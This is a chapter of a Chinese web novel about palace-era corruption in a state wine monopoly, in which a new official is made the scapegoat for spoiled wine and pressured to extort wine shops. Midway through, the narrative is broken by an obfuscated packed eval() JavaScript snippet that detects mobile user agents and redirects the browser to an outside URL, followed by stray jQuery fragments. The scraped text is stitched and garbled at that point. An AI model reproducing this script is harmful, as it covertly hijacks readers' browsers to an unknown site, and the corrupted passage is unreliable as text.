22. 流霞楼(4)

作品:《战死白月光回来了

    在潘澍心中,江焘是真正的好官,是青天大老爷!


    江焘倡导的新策中,有一条是“废榷酒,存榷曲”。


    即废除酿酒官营,只保留酒曲官营。


    江焘指出,酒务中的许多酒匠,没有专业的酿酒技艺,又抱以敷衍潦草的工作态度,因此制造出了大量的腐酒、酸酒、浊酒。


    有些州县甚至征调士兵来充当酒匠!他们能酿出好酒吗?


    不说专业的酒家,就连农人自行钻研酿造的酒也比酒务的出品要好啊!


    但是酒务垄断了酿造与售卖的权力,酒家们不得不购买那又贵又次的酒,回来再加工处理,造成了极大的浪费。


    更有黑心的酒务监官,不愿意承担败酒的损失,怕上面怪罪他办事不力,因此强行将败酒摊派给大小酒家,强迫酒家出钱买败酒,来给他擦屁股!


    百姓斗不过官,凡人斗不过仙!


    酒家不敢得罪酒务,强权之下,被迫出资。许多小酒家入不敷出,因此负债倒闭,穷困潦倒!


    不如废除榷酒法,把酿酒之事交给真正专业、爱酒之人。


    这样一来,酒家能维系生计,百姓也能喝上价廉物美的酒,何乐而不为?


    而酿酒离不开酒曲,朝廷把控住酒曲,仍然能保证税收。


    反对声如潮水般吞没了江焘。


    沈据之见九华棠双手攥拳,沉默地垂下了眼睫,望着潘澍畸形的足。


    她从来不知道榷酒法背后是这样的血泪。


    她只听过九相义正严辞、掷地有声的叱责:“鼠目寸光!虑不及远!酒税乃是大昭国的经济支柱!若取消了榷酒法,上万的酒匠如何安置?如何生存?抗击犴夷的军费哪里来?修路造桥的工费哪里来?赈灾救险的款项又从哪里来?江焘实在是天真竖子,难与之谋!”


    “大人,您方才说,您姓九,是吗?”潘澍的眼中怒火焚烧。


    九华棠感到喘不过气。


    “大昭国的酒税占了总赋税的两成,这么庞大的一笔收入,就是这样剥削来的。”潘澍单手压着自己的那只残腿,告诉九华棠。


    “我姓九,但我不是九党。”这不是九华棠第一次这样说。


    但从来没有人把她这话当真,九绛的嫡女,说她不是九党,谁信啊。


    沈据之的目光描摹着少女光洁的侧脸轮廓,清亮高节的一双凤目,心下烦乱。


    潘澍将信将疑地看着她。


    九华棠问:“后来呢?”


    后来。


    绥帝鹤延六年,江云尔通过折桂考当上了太府寺酒务的监官。


    上任没两天,总酒匠陶海来报,去岁腊月蒸酿的一批大酒,窖藏了半年,是时候开坛了。


    一直听说,酒务的酒库面阔六间,进深四间,高窗通风,列瓮如屏。除了地面以上的两层,还有深深的地窖,可存储万石的酒。


    江云尔的心兴奋得七上八下,然而当她一步入酒库,心便如落石般沉了下来。


    蝇虫乱舞,酸腐之气扑面而来。


    她忙将此事报告给上级。


    江云尔的上级是太府寺丞童勇。


    当时辛九党争已然尘埃落定,成王败寇,童勇为了向九党表忠心,甚至将二八年华的女儿童玉汀嫁给御史中丞宋良做三房。要知道,宋良的嫡长女宋枝比童玉汀还要大上三岁。


    江云尔的任命敕书在月余前下达,但她竟然一直不曾登门拜访,连一分孝敬也没往童勇那儿送!


    实在不识抬举!不知时务!


    像她哥江焘一样愚笨迂腐!


    童勇有意刁难江焘的妹妹,不等江云尔说完,就把她劈头盖脸地骂了一顿,脏话连篇,以“不会办事就滚回去卖身”结尾。


    总归,千错万错,都是江云尔的错。


    这一批酸腐的酒,要她自己看着处理。


    江云尔面色煞白,她从没听过这样的骂声,死死咬着嘴唇,魂不守舍地到了流霞楼,见到潘澍,才哭了出来。


    而事态远比江云尔想象得要严重。


    九华棠长长吁了一口气:“大昭律令规定,酿酒酸败三成以上,酒务监官徒一年。”这是要坐牢的。


    潘澍嘴角挂着一抹讽刺的笑:“大人,你以为,此事是云尔姑娘的错吗?”


    九华棠摇头。


    潘澍道:“她才刚刚到任。那是谁的错呢?”


    江云尔之前的那任酒务监官,是吏部侍郎家的四小姐钟薇。


    钟薇自从当上监官,就没有在酒务露过几面,问起来就说是在外走访酒家。


    她底下的酒匠们更是惰懒塞责,擅离职守。


    最后发现酒都臭了,钟薇掂量着担不起这个罪责,赶忙找关系调走。


    她爹是吏部侍郎,别人一个月才能等到的调令,钟薇三日便到手了。酒务监官这个“肥差”,才落在了江云尔头上。


    童勇一贯是不分青红皂白,也不管人死活的。


    江云尔只能寄希望于自己。她开始取证调查。


    有个模样文绉的小酒匠偷偷告诉江云尔,他很早就告诉过总酒匠陶海,曲院的这一批酒曲出了问题,酿出来的酒一定是次的。


    陶海浑不在意地摆摆手:“不打紧不打紧,反正酿成什么样,都卖得出去。”


    江云尔很快发现,曲院提供的曲砖大多是劣品,曲砖松散,曲心焦黑。


    用这样的酒曲,酿出来的酒必然酸涩刺喉,酒味焦苦。


    但也不至于腐败成现在这副样子。


    酒务在酿酒的过程中,必定也出了岔子。


    那甚至不是什么隐蔽、微小的差错。


    江云尔稍一留意,便发现了。


    酸腐的大酒明显泥封不严密,导致杂质侵入,破坏了正常的发酵。


    而酒务的储水池也浑浊不净,青黑发臭。


    这样的水怎么能用来酿酒?


    这一批败酒的责任,理应曲院和酒务一同承担。


    潘澍问九华棠:“大人知道,当时曲院的监官是谁吗?”


    九华棠还真的知道。


    “吏部尚书刘盛民的女婿,王墨剑。”


    刘盛民是九华棠的二舅。


    前几年,九华棠听刘盛民提起过好几次,说他女婿王墨剑如何在曲院受委屈,酒务的监官江云尔又怎么挑三拣四地刁难王墨剑,把曲砖退回来给他难堪。


    王墨剑如今已升至太府寺少卿。


    江云尔将她收集的线索整理成册,反复斟酌,写了三份折子。


    一份递往御史台,一份递往京兆府,一份递往太府寺。


    她以为证据确凿,公道自在人心。


    所以她没有找任何路子去求助、恳情,也没有写信将此事告知她外放的哥哥江焘,请他找一找门路,求一求故交。


    江云尔做完了一切她能做的,只等待一个公正的结果。


    两日后,太府寺卿苏衍命堂候官将三封折子送到江云尔的案头。


    便是她递给御史台、京兆府、太府寺的那三封折子。


    原封不动地回来了。


    堂候官道:“江大人,小的这儿还有一封新的折子,您看看。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147659|195475||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>江云尔白着脸,摊开一看,上面没有任何前因后果,只说今年夏季大酒酸败三成,按律令,酒务监官江云尔徒一年。


    折子底下盖着太府寺卿苏衍的官印。


    堂候官恭恭敬敬地垂着手道:“苏大人让小的带话,五日内,若江大人您处理不了那批败酒,这事儿,便如此落定了。”


    意思就是,王墨剑和钟薇都不会因此事担任何的责任,如果有人要因这批败酒落狱,这个人有且仅有一个。


    江云尔。


    江云尔强压着肺腑间的翻江倒海,颤声问:“要怎么处理?”


    “简单。”堂候官高高地扬着唇角,“夏季大酒共五万坛,酸败的有一万五千坛,一坛酒价值两百文,损值共计三千贯。便是要填了这三千贯的窟窿!”


    三千贯。


    这是江云尔十几年的俸禄。


    不知是否得了苏大人的授意,还是堂候官真心想教江云尔点什么,他见四下无人,压低了声音:“江大人,做官脑子要灵活。京城有九十来家酒楼,这三千贯银子,每户一摊,不过是三十几贯的事情!事儿不就解决了吗?”


    他两手一拍:“您以为,这么些年,有多少酿坏的酒?比天上的星子多!有多少因此入狱的监官?一个也没有!”


    江云尔嘴唇颤抖,不说话。


    堂候官觑着她,幽声道:“江大人,总不想做第一个吧?”


    江云尔双眼猩红,胸口起伏:“那些酒家为何要平白出这份钱?三十几贯!哪里是什么小数目?他们做错了什么?”


    堂候官叹着气摇头,孺子不可教也。


    “是不是小数目,看和什么比。江大人难道要一力扛下所有吗?还是甘愿就此葬送仕途,沦为阶下囚?这世上本没有绝对的对错黑白,有些事,您也是不得已,而为之。一咬牙就过去啦!”他深深一揖,“小的言尽于此。”


    作为苏衍身边的堂候官,他看过太多,也知道太多,今日说这许多话,已是破例。


    江云尔咬着牙关:“我此生,不做欺压百姓的事!”


    堂候官折身离开。


    江云尔浑身发抖发麻,瘫坐在椅子上。


    五日为限,她还能怎么办?


    江云尔无望地奔走于御史台和京兆府,里头的大官对她避而不见。


    时间如流沙,侵蚀她的热血与肺腑,冲走她所有的指望。


    她没有办法了。


    江焘被贬出京城的时候,江云尔还不能切身体会到兄长的痛苦和无望。


    到了此刻,她心灰意冷地明白,人证物证没有用,善良没有用,弱小的人得不到公正的对待。


    在这重檐邃宇、吃人不吐骨头的京城,只有权势说了算。


    但她江云尔死也不要与他们同流合污!


    到了第四天,江云尔告诉潘澍,她打算自己出这笔钱。


    潘澍问她还差多少。


    江云尔平静地说,她变卖了家里所有值钱的东西,首饰、字画、古籍,算上她所有的积蓄,是一千贯。


    还差两千贯,她打算去昭华寺借贷,虽说是个大数目,但总有一日能还清。


    潘澍也平静地对她说:“剩下的败酒,我请了。”


    他曾经不肯用二百贯买下酒务酸败的酒,因此瘸了一条腿,害死了他爹,失去了青梅竹马的未婚妻。


    从此折了一身傲骨。


    如今心甘情愿,要掏空积蓄,为她买下那些酒。


    江云尔瞠圆了双眼,不可置信地望着他。


    “云尔,不要拒绝我。”潘澍恳求道。